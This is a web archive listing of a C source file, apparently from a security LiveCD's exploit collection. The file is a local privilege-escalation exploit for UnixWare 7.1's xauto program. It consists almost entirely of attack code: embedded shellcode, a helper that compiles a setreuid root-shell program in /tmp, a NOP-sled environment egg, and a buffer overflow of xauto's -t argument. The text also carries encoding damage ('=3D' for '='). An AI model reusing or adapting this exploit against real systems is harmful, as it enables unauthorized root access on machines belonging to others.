home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / sco / local / uwxauto.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  106 lines

  1. /**
  2.  ** UnixWare 7.1 root exploit for xauto
  3.  ** Note that xauto is NOT suid or sgid but gains it's privs from
  4.  ** /etc/security/tcb/privs.  For more info, consult intro(2) =
  5.  
  6.  ** and fileprivs(1)
  7.  ** =
  8.  
  9.  **
  10.  ** Brock Tellier btellier@usa.net
  11.  **/ =
  12.  
  13.  
  14.  
  15. #include <stdlib.h>
  16. #include <stdio.h>
  17.  
  18. char scoshell[]=3D /* UnixWare 7.1 shellcode runs /tmp/ui */
  19. "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
  20. "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
  21. "\xff\xff/tmp/ui\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";
  22.  
  23.                        =
  24.  
  25. #define EGGLEN 2048
  26. #define RETLEN 5000
  27. #define ALIGN 0
  28. #define NOP 0x90
  29. #define CODE "void main() { setreuid(0,0); system(\"/bin/sh\"); }\n"
  30.  
  31. void buildui() {
  32.   FILE *fp;
  33.   char cc[100];
  34.  
  35.   fp =3D fopen("/tmp/ui.c", "w");
  36.   fprintf(fp, CODE);
  37.   fclose(fp);
  38.   snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
  39.   system(cc);
  40.  
  41. }
  42.  
  43. int main(int argc, char *argv[]) {
  44.   =
  45.  
  46.   long int offset=3D0;
  47.   =
  48.  
  49.   int i;
  50.   int egglen =3D EGGLEN;
  51.   int retlen;
  52.   long int addr;
  53.   char egg[EGGLEN];
  54.   char ret[RETLEN];
  55.   // who needs __asm__?  Per Solar Designer's suggestion
  56.   unsigned long sp =3D (unsigned long)&sp; =
  57.  
  58.  
  59.   buildui();
  60.   if(argc > 3) {
  61.     fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
  62.     exit(0); =
  63.  
  64.   }
  65.   else if (argc =3D=3D 2){
  66.     offset=3Datoi(argv[1]);
  67.     retlen=3DRETLEN;
  68.   }
  69.   else if (argc =3D=3D 3) {
  70.     offset=3Datoi(argv[1]);
  71.     retlen=3Datoi(argv[2]); =
  72.  
  73.   }
  74.   else {
  75.     offset=3D9400;
  76.     retlen=3D2000;
  77.     =
  78.  
  79.   }
  80.   addr=3Dsp + offset;
  81.   =
  82.  
  83.   fprintf(stderr, "UnixWare 7.x exploit for the non-su/gid
  84. /usr/X/bin/xauto\n");
  85.   fprintf(stderr, "Brock Tellier btellier@usa.net\n");
  86.   fprintf(stderr, "Using offset/addr: %d/0x%x\n", offset,addr);
  87.   =
  88.  
  89.   memset(egg,NOP,egglen);
  90.   memcpy(egg+(egglen - strlen(scoshell) - 1),scoshell,strlen(scoshell));
  91.   =
  92.  
  93.   for(i=3DALIGN;i< retlen-4;i+=3D4)
  94.     *(int *)&ret[i]=3Daddr;  =
  95.  
  96.   =
  97.  
  98.   memcpy(egg, "EGG=3D", 4);
  99.   putenv(egg);
  100.  
  101.   execl("/usr/X/bin/xauto", "xauto","-t", ret, NULL); =
  102.  
  103.   =
  104.  
  105. }
  106.